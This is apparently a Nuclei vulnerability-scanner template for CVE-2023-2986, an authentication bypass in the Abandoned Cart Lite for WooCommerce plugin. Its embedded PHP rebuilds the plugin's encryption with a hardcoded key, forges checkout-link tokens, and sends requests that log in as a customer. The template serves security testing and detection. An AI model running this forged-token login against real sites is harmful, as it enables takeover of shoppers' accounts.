id: CVE-2023-2986

info:
  name: Abandoned Cart Lite for WooCommerce - Authentication Bypass
  author: iamnoooob,pdresearch
  severity: critical
  description: |
    The Abandoned Cart Lite for WooCommerce plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 5.14.2. This is due to insufficient encryption on the user being supplied during the abandoned cart link decode through the plugin. This allows unauthenticated attackers to log in as users who have abandoned the cart, who are typically customers. Further security hardening was introduced in version 5.15.1 that ensures sites are no longer vulnerable through historical check-out links, and additional hardening was introduced in version 5.15.2 that ensured null key values wouldn't permit the authentication bypass.
  remediation: |
    Upgrade Abandoned Cart Lite for WooCommerce plugin to version 5.15.2 or later that implements secure authentication and proper encryption.
  impact: |
    Attackers can log in as users, potentially accessing sensitive information and performing unauthorized actions.
  reference:
    - https://github.com/Alucard0x1/CVE-2023-2986
    - https://github.com/TycheSoftwares/woocommerce-abandoned-cart/pull/885#issuecomment-1601813615
    - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=2925274%40woocommerce-abandoned-cart&new=2925274%40woocommerce-abandoned-cart&sfp_email=&sfph_mail=
    - https://www.wordfence.com/blog/2023/06/tyche-softwares-addresses-authentication-bypass-vulnerability-in-abandoned-cart-lite-for-woocommerce-wordpress-plugin/
    - https://github.com/Ayantaker/CVE-2023-2986
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-2986
    epss-score: 0.43502
    epss-percentile: 0.98569
    cpe: cpe:2.3:a:tychesoftwares:abandoned_cart_lite_for_woocommerce:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    vendor: tychesoftwares
    product: abandoned_cart_lite_for_woocommerce
    framework: wordpress
    fofa-query: body="/wp-content/plugins/woocommerce-abandoned-cart/"
  tags: cve,cve2023,wordpress,woocommerce,wp-plugin,auth-bypass,woocommerce-abandoned-cart,vkev,vuln
code:
  - engine:
      - php
    source: |
      <?php
      class Wcal_Aes {

          /**
          * AES Cipher function [�5.1]: encrypt 'input' with Rijndael algorithm
          *
          * @param input message as byte-array (16 bytes)
          * @param w     key schedule as 2D byte-array (Nr+1 x Nb bytes) -
          *              generated from the cipher key by keyExpansion()
          * @return      ciphertext as byte-array (16 bytes)
          * @since 2.8
          */
          public static function cipher( $input, $w ) {
              $Nb    = 4; // block size (in words): no of columns in state (fixed at 4 for AES)
              $Nr    = count( $w ) / $Nb - 1; // no of rounds: 10/12/14 for 128/192/256-bit keys
              $state = array(); // initialise 4xNb byte-array 'state' with input [�3.4]
              for ( $i = 0; $i < 4 * $Nb;
              $i++ ) {
                  $state[ $i % 4 ][ floor( $i / 4 ) ] = $input[ $i ];
              }

              $state = self::addRoundKey( $state, $w, 0, $Nb );

              for ( $round = 1; $round < $Nr; $round++ ) { // apply Nr rounds
                  $state = self::subBytes( $state, $Nb );
                  $state = self::shiftRows( $state, $Nb );
                  $state = self::mixColumns( $state, $Nb );
                  $state = self::addRoundKey( $state, $w, $round, $Nb );
              }

              $state = self::subBytes( $state, $Nb );
              $state = self::shiftRows( $state, $Nb );
              $state = self::addRoundKey( $state, $w, $Nr, $Nb );

              $output = array( 4 * $Nb ); // convert state to 1-d array before returning [�3.4]
              for ( $i = 0; $i < 4 * $Nb;
              $i++ ) {
                  $output[ $i ] = $state[ $i % 4 ][ floor( $i / 4 ) ];
              }
              return $output;
          }
          /**
          * Xor Round Key into state S [�5.1.4].
          *
          * @since 2.8
          */
          private static function addRoundKey( $state, $w, $rnd, $Nb ) {
              for ( $r = 0; $r < 4; $r++ ) {
                  for ( $c = 0; $c < $Nb;
                  $c++ ) {
                      $state[ $r ][ $c ] ^= $w[ $rnd * 4 + $c ][ $r ];
                  }
              }
              return $state;
          }

          /**
          * Apply SBox to state S [�5.1.1].
          *
          * @since 2.8
          */
          private static function subBytes( $s, $Nb ) {
              for ( $r = 0; $r < 4; $r++ ) {
                  for ( $c = 0; $c < $Nb;
                  $c++ ) {
                      $s[ $r ][ $c ] = self::$sBox[ $s[ $r ][ $c ] ];
                  }
              }
              return $s;
          }

          /**
          * Shift row r of state S left by r bytes [�5.1.2].
          *
          * @since 2.8
          */
          private static function shiftRows( $s, $Nb ) {
              $t = array( 4 );
              for ( $r = 1; $r < 4; $r++ ) {
                  for ( $c = 0; $c < 4;
                  $c++ ) {
                      $t[ $c ] = $s[ $r ][ ( $c + $r ) % $Nb ]; // shift into temp copy
                  }
                  for ( $c = 0; $c < 4;
                  $c++ ) {
                      $s[ $r ][ $c ] = $t[ $c ]; // and copy back
                  }
              } // note that this will work for Nb=4,5,6, but not 7,8 (always 4 for AES):
              return $s; // see fp.gladman.plus.com/cryptography_technology/rijndael/aes.spec.311.pdf
          }

          /**
          * Combine bytes of each col of state S [�5.1.3].
          *
          * @since 2.8
          */
          private static function mixColumns( $s, $Nb ) {
              for ( $c = 0; $c < 4; $c++ ) {
                  $a = array( 4 ); // 'a' is a copy of the current column from 's'
                  $b = array( 4 ); // 'b' is a�{02} in GF(2^8)
                  for ( $i = 0; $i < 4; $i++ ) {
                      $a[ $i ] = $s[ $i ][ $c ];
                      $b[ $i ] = $s[ $i ][ $c ] & 0x80 ? $s[ $i ][ $c ] << 1 ^ 0x011b : $s[ $i ][ $c ] << 1;
                  }
                  // a[n] ^ b[n] is a�{03} in GF(2^8)
                  $s[0][ $c ] = $b[0] ^ $a[1] ^ $b[1] ^ $a[2] ^ $a[3]; // 2*a0 + 3*a1 + a2 + a3
                  $s[1][ $c ] = $a[0] ^ $b[1] ^ $a[2] ^ $b[2] ^ $a[3]; // a0 * 2*a1 + 3*a2 + a3
                  $s[2][ $c ] = $a[0] ^ $a[1] ^ $b[2] ^ $a[3] ^ $b[3]; // a0 + a1 + 2*a2 + 3*a3
                  $s[3][ $c ] = $a[0] ^ $b[0] ^ $a[1] ^ $a[2] ^ $b[3]; // 3*a0 + a1 + a2 + 2*a3
              }
              return $s;
          }

          /**
          * Generate Key Schedule from Cipher Key [�5.2].
          *
          * Perform key expansion on cipher key to generate a key schedule.
          *
          * @param  key cipher key byte-array (16 bytes).
          * @return key schedule as 2D byte-array (Nr+1 x Nb bytes).
          * @since 2.8
          */
          public static function keyExpansion( $key ) {
              $Nb = 4; // block size (in words): no of columns in state (fixed at 4 for AES)
              $Nk = count( $key ) / 4; // key length (in words): 4/6/8 for 128/192/256-bit keys
              $Nr = $Nk + 6; // no of rounds: 10/12/14 for 128/192/256-bit keys

              $w    = array();
              $temp = array();

              for ( $i = 0; $i < $Nk; $i++ ) {
                  $r       = array( $key[ 4 * $i ], $key[ 4 * $i + 1 ], $key[ 4 * $i + 2 ], $key[ 4 * $i + 3 ] );
                  $w[ $i ] = $r;
              }

              for ( $i = $Nk; $i < ( $Nb * ( $Nr + 1 ) ); $i++ ) {
                  $w[ $i ] = array();
                  for ( $t = 0; $t < 4;
                  $t++ ) {
                      $temp[ $t ] = $w[ $i - 1 ][ $t ];
                  }
                  if ( $i % $Nk == 0 ) {
                      $temp = self::subWord( self::rotWord( $temp ) );
                      for ( $t = 0; $t < 4;
                      $t++ ) {
                          $temp[ $t ] ^= self::$rCon[ $i / $Nk ][ $t ];
                      }
                  } elseif ( $Nk > 6 && $i % $Nk == 4 ) {
                      $temp = self::subWord( $temp );
                  }
                  for ( $t = 0; $t < 4;
                  $t++ ) {
                      $w[ $i ][ $t ] = $w[ $i - $Nk ][ $t ] ^ $temp[ $t ];
                  }
              }
              return $w;
          }

          /**
          * Apply SBox to 4-byte word w.
          *
          * @since 2.8
          */
          private static function subWord( $w ) {
              for ( $i = 0; $i < 4;
              $i++ ) {
                  $w[ $i ] = self::$sBox[ $w[ $i ] ];
              }
              return $w;
          }

          /**
          * Rotate 4-byte word w left by one byte.
          *
          * @since 2.8
          */
          private static function rotWord( $w ) {
              $tmp = $w[0];
              for ( $i = 0; $i < 3;
              $i++ ) {
                  $w[ $i ] = $w[ $i + 1 ];
              }
              $w[3] = $tmp;
              return $w;
          }

          // sBox is pre-computed multiplicative inverse in GF(2^8) used in subBytes and keyExpansion [�5.1.1]
          private static $sBox = array(
              0x63,
              0x7c,
              0x77,
              0x7b,
              0xf2,
              0x6b,
              0x6f,
              0xc5,
              0x30,
              0x01,
              0x67,
              0x2b,
              0xfe,
              0xd7,
              0xab,
              0x76,
              0xca,
              0x82,
              0xc9,
              0x7d,
              0xfa,
              0x59,
              0x47,
              0xf0,
              0xad,
              0xd4,
              0xa2,
              0xaf,
              0x9c,
              0xa4,
              0x72,
              0xc0,
              0xb7,
              0xfd,
              0x93,
              0x26,
              0x36,
              0x3f,
              0xf7,
              0xcc,
              0x34,
              0xa5,
              0xe5,
              0xf1,
              0x71,
              0xd8,
              0x31,
              0x15,
              0x04,
              0xc7,
              0x23,
              0xc3,
              0x18,
              0x96,
              0x05,
              0x9a,
              0x07,
              0x12,
              0x80,
              0xe2,
              0xeb,
              0x27,
              0xb2,
              0x75,
              0x09,
              0x83,
              0x2c,
              0x1a,
              0x1b,
              0x6e,
              0x5a,
              0xa0,
              0x52,
              0x3b,
              0xd6,
              0xb3,
              0x29,
              0xe3,
              0x2f,
              0x84,
              0x53,
              0xd1,
              0x00,
              0xed,
              0x20,
              0xfc,
              0xb1,
              0x5b,
              0x6a,
              0xcb,
              0xbe,
              0x39,
              0x4a,
              0x4c,
              0x58,
              0xcf,
              0xd0,
              0xef,
              0xaa,
              0xfb,
              0x43,
              0x4d,
              0x33,
              0x85,
              0x45,
              0xf9,
              0x02,
              0x7f,
              0x50,
              0x3c,
              0x9f,
              0xa8,
              0x51,
              0xa3,
              0x40,
              0x8f,
              0x92,
              0x9d,
              0x38,
              0xf5,
              0xbc,
              0xb6,
              0xda,
              0x21,
              0x10,
              0xff,
              0xf3,
              0xd2,
              0xcd,
              0x0c,
              0x13,
              0xec,
              0x5f,
              0x97,
              0x44,
              0x17,
              0xc4,
              0xa7,
              0x7e,
              0x3d,
              0x64,
              0x5d,
              0x19,
              0x73,
              0x60,
              0x81,
              0x4f,
              0xdc,
              0x22,
              0x2a,
              0x90,
              0x88,
              0x46,
              0xee,
              0xb8,
              0x14,
              0xde,
              0x5e,
              0x0b,
              0xdb,
              0xe0,
              0x32,
              0x3a,
              0x0a,
              0x49,
              0x06,
              0x24,
              0x5c,
              0xc2,
              0xd3,
              0xac,
              0x62,
              0x91,
              0x95,
              0xe4,
              0x79,
              0xe7,
              0xc8,
              0x37,
              0x6d,
              0x8d,
              0xd5,
              0x4e,
              0xa9,
              0x6c,
              0x56,
              0xf4,
              0xea,
              0x65,
              0x7a,
              0xae,
              0x08,
              0xba,
              0x78,
              0x25,
              0x2e,
              0x1c,
              0xa6,
              0xb4,
              0xc6,
              0xe8,
              0xdd,
              0x74,
              0x1f,
              0x4b,
              0xbd,
              0x8b,
              0x8a,
              0x70,
              0x3e,
              0xb5,
              0x66,
              0x48,
              0x03,
              0xf6,
              0x0e,
              0x61,
              0x35,
              0x57,
              0xb9,
              0x86,
              0xc1,
              0x1d,
              0x9e,
              0xe1,
              0xf8,
              0x98,
              0x11,
              0x69,
              0xd9,
              0x8e,
              0x94,
              0x9b,
              0x1e,
              0x87,
              0xe9,
              0xce,
              0x55,
              0x28,
              0xdf,
              0x8c,
              0xa1,
              0x89,
              0x0d,
              0xbf,
              0xe6,
              0x42,
              0x68,
              0x41,
              0x99,
              0x2d,
              0x0f,
              0xb0,
              0x54,
              0xbb,
              0x16,
          );

          // rCon is Round Constant used for the Key Expansion [1st col is 2^(r-1) in GF(2^8)] [�5.2]
          private static $rCon = array(
              array( 0x00, 0x00, 0x00, 0x00 ),
              array( 0x01, 0x00, 0x00, 0x00 ),
              array( 0x02, 0x00, 0x00, 0x00 ),
              array( 0x04, 0x00, 0x00, 0x00 ),
              array( 0x08, 0x00, 0x00, 0x00 ),
              array( 0x10, 0x00, 0x00, 0x00 ),
              array( 0x20, 0x00, 0x00, 0x00 ),
              array( 0x40, 0x00, 0x00, 0x00 ),
              array( 0x80, 0x00, 0x00, 0x00 ),
              array( 0x1b, 0x00, 0x00, 0x00 ),
              array( 0x36, 0x00, 0x00, 0x00 ),
          );

      }
      function urs( $a, $b ) {
              $a  = intval( $a ) & 0xffffffff;
              $b &= 0x1f; // (bounds check)
              if ( $a & 0x80000000 && $b > 0 ) { // if left-most bit set.
                  $a     = ( $a >> 1 ) & 0x7fffffff; // right-shift one bit & clear left-most bit.
                  $check = $b - 1;
                  $a     = $a >> ( $check ); // remaining right-shifts.
              } else { // otherwise.
                  $a = ( $a >> $b ); // use normal right-shift.
              }
              return $a;
        }


        function encrypt( $plaintext, $password, $nBits ) {
              $blockSize = 16; // block size fixed at 16 bytes / 128 bits (Nb=4) for AES
              if ( ! ( $nBits == 128 || $nBits == 192 || $nBits == 256 ) ) {
                  return ''; // standard allows 128/192/256 bit keys
              }
              // note PHP (5) gives us plaintext and password in UTF8 encoding!

              // use AES itself to encrypt password to get cipher key (using plain password as source for
              // key expansion) - gives us well encrypted key
              $nBytes  = $nBits / 8; // no bytes in key
              $pwBytes = array();
              for ( $i = 0; $i < $nBytes;
              $i++ ) {
                  $pwBytes[ $i ] = ord( substr( $password, $i, 1 ) ) & 0xff;
              }
              $key = Wcal_Aes::cipher( $pwBytes, Wcal_Aes::keyExpansion( $pwBytes ) );
              $key = array_merge( $key, array_slice( $key, 0, $nBytes - 16 ) ); // expand key to 16/24/32 bytes long

              // initialise 1st 8 bytes of counter block with nonce (NIST SP800-38A �B.2): [0-1] = millisec,
              // [2-3] = random, [4-7] = seconds, giving guaranteed sub-ms uniqueness up to Feb 2106
              $counterBlock = array();
              $nonce        = floor( microtime( true ) * 1000 ); // timestamp: milliseconds since 1-Jan-1970
              $nonceMs      = $nonce % 1000;
              $nonceSec     = floor( $nonce / 1000 );
              $nonceRnd     = floor( rand( 0, 0xffff ) );

              for ( $i = 0; $i < 2;
              $i++ ) {
                  $counterBlock[ $i ] = urs( $nonceMs, $i * 8 ) & 0xff;
              }
              for ( $i = 0; $i < 2;
              $i++ ) {
                  $counterBlock[ $i + 2 ] = urs( $nonceRnd, $i * 8 ) & 0xff;
              }
              for ( $i = 0; $i < 4;
              $i++ ) {
                  $counterBlock[ $i + 4 ] = urs( $nonceSec, $i * 8 ) & 0xff;
              }

              // and convert it to a string to go on the front of the ciphertext
              $ctrTxt = '';
              for ( $i = 0; $i < 8;
              $i++ ) {
                  $ctrTxt .= chr( $counterBlock[ $i ] );
              }

              // generate key schedule - an expansion of the key into distinct Key Rounds for each round
              $keySchedule = Wcal_Aes::keyExpansion( $key );
              // print_r($keySchedule);

              $blockCount = ceil( strlen( $plaintext ) / $blockSize );
              $ciphertxt  = array(); // ciphertext as array of strings

              for ( $b = 0; $b < $blockCount; $b++ ) {
                  // set counter (block #) in last 8 bytes of counter block (leaving nonce in 1st 8 bytes)
                  // done in two stages for 32-bit ops: using two words allows us to go past 2^32 blocks (68GB)
                  for ( $c = 0; $c < 4;
                  $c++ ) {
                      $counterBlock[ 15 - $c ] = urs( $b, $c * 8 ) & 0xff;
                  }
                  for ( $c = 0; $c < 4;
                  $c++ ) {
                      $counterBlock[ 15 - $c - 4 ] = urs( $b / 0x100000000, $c * 8 );
                  }

                  $cipherCntr = Wcal_Aes::cipher( $counterBlock, $keySchedule ); // -- encrypt counter block --

                  // block size is reduced on final block
                  $blockLength = $b < $blockCount - 1 ? $blockSize : ( strlen( $plaintext ) - 1 ) % $blockSize + 1;
                  $cipherByte  = array();

                  for ( $i = 0; $i < $blockLength; $i++ ) { // -- xor plaintext with ciphered counter byte-by-byte --
                      $cipherByte[ $i ] = $cipherCntr[ $i ] ^ ord( substr( $plaintext, $b * $blockSize + $i, 1 ) );
                      $cipherByte[ $i ] = chr( $cipherByte[ $i ] );
                  }
                  $ciphertxt[ $b ] = implode( '', $cipherByte ); // escape troublesome characters in ciphertext
              }

              // implode is more efficient than repeated string concatenation
              $ciphertext = $ctrTxt . implode( '', $ciphertxt );
              $ciphertext = base64_encode( $ciphertext );
              return $ciphertext;
          }
          $validate_val = getenv('cart_id').'&url='. getenv('Scheme') . '://' . getenv('Host'). ':'. getenv('Port') .'/checkout/';
          $secret = 'qJB0rGtIn5UB1xG03efyCp';
          echo encrypt($validate_val, '', 256) . ":" . encrypt($validate_val,$secret , 256);


http:

  - method: GET
    path:
      - "{{BaseURL}}/?wcal_action=checkout_link&user_email=test&validate={{replace_regex(code_response,'(.*:)','')}}"
    headers:

  - method: GET
    path:
      - "{{BaseURL}}/?wcal_action=checkout_link&user_email=test&validate={{replace_regex(code_response,'(:.*)','')}}"
    headers:

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "wordpress_logged_in_"
          - "/checkout/"
        condition: and

      - type: word
        part: body
        words:
          - "Link expired"
        negative: true

      - type: status
        status:
          - 302
# digest: 4b0a00483046022100a22c3705a96bba757e0e54fe2ce8697372ff123358e3241f673e905c51a6f49b0221008956695199279a79683cd931b6d4a5c5f6fc1f597a66163c4fe1453a7cce6b86:922c64590222798bb761d5b6d8e72950